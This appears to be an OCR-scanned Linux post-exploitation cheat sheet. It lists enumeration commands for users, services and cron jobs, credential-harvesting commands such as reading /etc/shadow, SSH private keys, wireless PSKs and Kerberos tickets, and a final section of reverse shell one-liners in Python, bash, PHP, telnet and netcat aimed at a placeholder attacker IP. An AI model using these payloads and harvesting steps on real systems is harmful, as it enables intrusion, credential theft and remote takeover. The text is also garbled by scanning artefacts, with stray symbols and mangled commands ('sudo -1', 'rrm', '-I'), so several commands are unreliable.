

LINUX EXPLOITATION





1. System / Network Information Commands

Hostname
hostname
/hostname -f
Known hostnames/IP Addresses
<pre>cat /etc/hosts</pre>
Kernel Version / Architecture
uname -a
cat /proc/version
Operating System
cat /etc/issue
cat /etc/*-release
List Open Files
lsof
in interfaces Information
<pre>ifconfig</pre>
jip addr show
Routing Information
route -n
{ ip ro show



Current TCP and UDP Network Connections	
netstat -auntp	
/watch ss -twurp	111
	.<
Print IPSEC VPN Keys (requires root)	
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	,
jip xfrm state list	
	į.
Iptables Rules (requires root)	
iptables -L -n	
`	.`
ARP Table	
arp -a	
***************************************	.<
DNS Server Information	
	ï.\
cat /etc/resolv.conf	1
	\
Running Processes	
× 111111111111111111111111111111111111	1
ps auxw	111
ps -ef	
	.\
Mounted File Systems	
×1111111111111111111111111111111111111	. `
df -h	1
mount	
2111111111111111111111111111111111111	. ·
Loaded Kernel Modules	
lsmod	
*************************************	ζ.



Loaded PCI Devices	
	-
lspci	
	А
Loaded USB Devices	
	4
lsusb	
	1.
CPU Information	
×	
cat /proc/cpuinfo	
	.\
Memory	
z	~
cat /proc/meminfo	111
	1
Hardware Information	
z	
lshw	111
	1
Kernel Messages (With Timestamp)	
	1
dmesg -T	
/	1



2. USER INFORMATION

Last logged on Users last -a **Currently Logged on Users** who W **Current User / UID-GID / Home Directory** whoami id grep \$USER /etc/passwd grep \$USER /etc/passwd | cut -f6 -d":" **User and Service Accounts** ≷cat /etc/passwd Groups cat /etc/group All Users (UID and GID information) for user in \$(cat /etc/passwd |cut -f1 -d":"); do id \$user; done All UID 0 Accounts (root) cat /etc/passwd |cut -f1,3,4 -d":" |grep "0:0" |cut -f1 -d":" |awk '{print \$1}'



Find Files with "history" In Their Name (.bash_history, etc.)

find /* -name *.*history* -print 2> /dev/null

Find Files Owned By A Particular User

find / -user \$user

¿Ex: find / -user www-data

Find Files Owned By A Particular Group

find / -group \$group

Ex: find / -group sudo

Find File Types Owned by a Particular User

<code>find / -user admin -name "*.sh"</code>

3. Privileged Access / Cleartext Passwords

Find all setuid (SUID) Executables

find / -perm -4000 -type f 2>/dev/null

Read /etc/sudoers

≷cat /etc/sudoers

Read /etc/shadow

cat /etc/shadow



Find world-writeable files

find / -perm -0002 -type d 2>/dev/null

Check current users' sudo access

sudo -1

Check for binaries in current users' sudo entry that allow breaking out into a shell

sudo -l |grep vi

≶sudo -l |grep nmap

sudo -1 |grep python

sudo -l |grep irb

Check permissions for files /root directory

ls -als /root/*

Check permissions of root's .bashrc and other dot files/directories

ls -als /root/.*

Check for access to users' .ssh directories

:ls -als /home/*/.ssh

Check readability of apache/nginx access log

cat /var/log/apache/access.log

/cat /var/log/apache2/access.log

cat /var/log/nginx/access.log

Search for "user" and "pass" string in Apache Access Log

cat /var/log/apache/access.log |grep -E "^user|^pass"



Dump Wireless Pre-Shared Keys from NetworkManager Configuration cat /etc/NetworkManager/system-connections/* |grep -E "^id|^psk" Search for "password" string in conf files grep "password" /etc/*.conf 2> /dev/null **PGP Kevs** cat /home/*/.gnupg/secrings.gpgs **SSH Keys** cat /home/*/.ssh/id* Show any LDAP, Local or NIS Accounts getent passwd **Dump Samba user Database Information** pdbedit -L -w pdbedit -L -v **Kerberos Tickets** cat /tmp/krb* Search for files of .txt extension with "password" in their name find / -name password*.txt 2> /dev/null

4. Services / Configuration Files



List Running Services / Processes / Users	
	//////
ps auxw	
```````````````````````````````````````	11111118
List Inetd Services	
///////////////////////////////////////	//////
<pre>ls -al /etc/init.d/</pre>	
``````````````````````````````````````	11111118
List xinetd Services	
×1111111111111111111111111111111111111	111111
ls -al /etc/xinetd.d/	
Contacts of Vinetal comings	///////
Contents of Xinetd services	
>	//////
<pre>cat /etc/xinetd.d/*</pre>	
Find services in /etc/init.d not owned by root and list their permissions	//////
<pre> find /etc/init.d/ ! -uid 0 -type f 2>/dev/null xargs ls -la</pre>	
List Running Services (Debian/CentOS/Redhat/Ubuntu)	
	//////
servicestatus-all	
**************************************	//////
Print the status of a service	
	//////
service nginx status	
? 	1111113
List Known Services (SysV)	
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	11111112
chkconfiglist	<
	1111118
Print the status of a service (Debian/CentOS)	
**************************************	///////
service nginx status	
Suuruniin maanuun maan	1111118



Print status of all services (Debian/CentOS)
servicestatus-all
List all Systemd services (Debian/CentOS/Redhat)
<pre>systemctl list-unit-files</pre>
Syslog Configuration
cat /etc/syslog.conf
Samba Configuration
cat /etc/samba/smb.conf
MySQL Configuration
<pre></pre>
OpenLDAP Configuration
<pre>cat /etc/openldap.conf</pre>
NFS Exports
cat /etc/exports
Inetd Configuration
<pre>cat /etc/inetd.conf ````````````````````````````````````</pre>
Rsyslog Configuration
cat /etc/rsyslog.conf
cat /etc/rsyslog.d/*



Apache2 Configuration

cat /etc/apache2/apache2.conf

Httpd configuration

cat /etc/httpd.conf

Find all .conf Files

`find / -name *.conf 2> /dev/null

5. Jobs and Tasks

List Cron Jobs

cat /etc/crontab

ls -al /etc/cron*

Find World-Writable Cron jobs

`find /etc/cron* -type f -perm -o+w -exec ls -l {} \;

Find Cron Jobs Owned by Other Users

find /etc/cron* -user \$user

Ex: find /etc/cron* -user admin



6. Installed **S**oftware **V**ersion **I**nformation

Get MySQL Version	
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	1 :
mysql -version	
``````````````````````````````````````	/ À
Get sudo Version	
×	4
sudo -V  grep "Sudo version"	
	/ //
Get Apache2 Version	
z	4
apache2 -v	
```````````````````````````````````````	/.
Get CouchDB Version	
<u> </u>	۷٨,
couchdb -V	
`	/
Get Postgres Version	
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	1 :
psql -V	
	//>
List All Packages Installed and Versions (Debian/CentOS/Ubuntu)	
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	1 :
dpkg -1	
	/Á
List All Packages Installed and Versions (RedHat)	
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	/ ;
rpm -query -all	
	/3
List Installed Packages (Solaris)	
z	43
pkginfo	
 Suurunnun 1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.	/ 👌



7. REVERSE SHELLS

Python

```
python -c 'import
{socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con
{nect(("<attacker_IP>",<attacker_PORT>));os.dup2(s.fileno(),0);
  os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-
i"]);'
```

hash

```
bash -i >& /dev/tcp/<attacker_IP>/<attacker_PORT> 0>&1
```

php

```
php -r '$sock=fsockopen("<attacker_IP>",<attacker_PORT>); exec("/bin/sh -I
/<&3 >&3 2>&3");'
```

telnet

```
telnet <attacker_IP> 4444 | /bin/bash | telnet <attacker_IP> 4445
```

netcat

```
nc <attacker IP> <attacker PORT> -e /bin/sh
```

netcat w/o "-e" option

```
rrm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -I 2>&1 | nc <attacker_IP>
<attacker_PORT> > /tmp/f
```

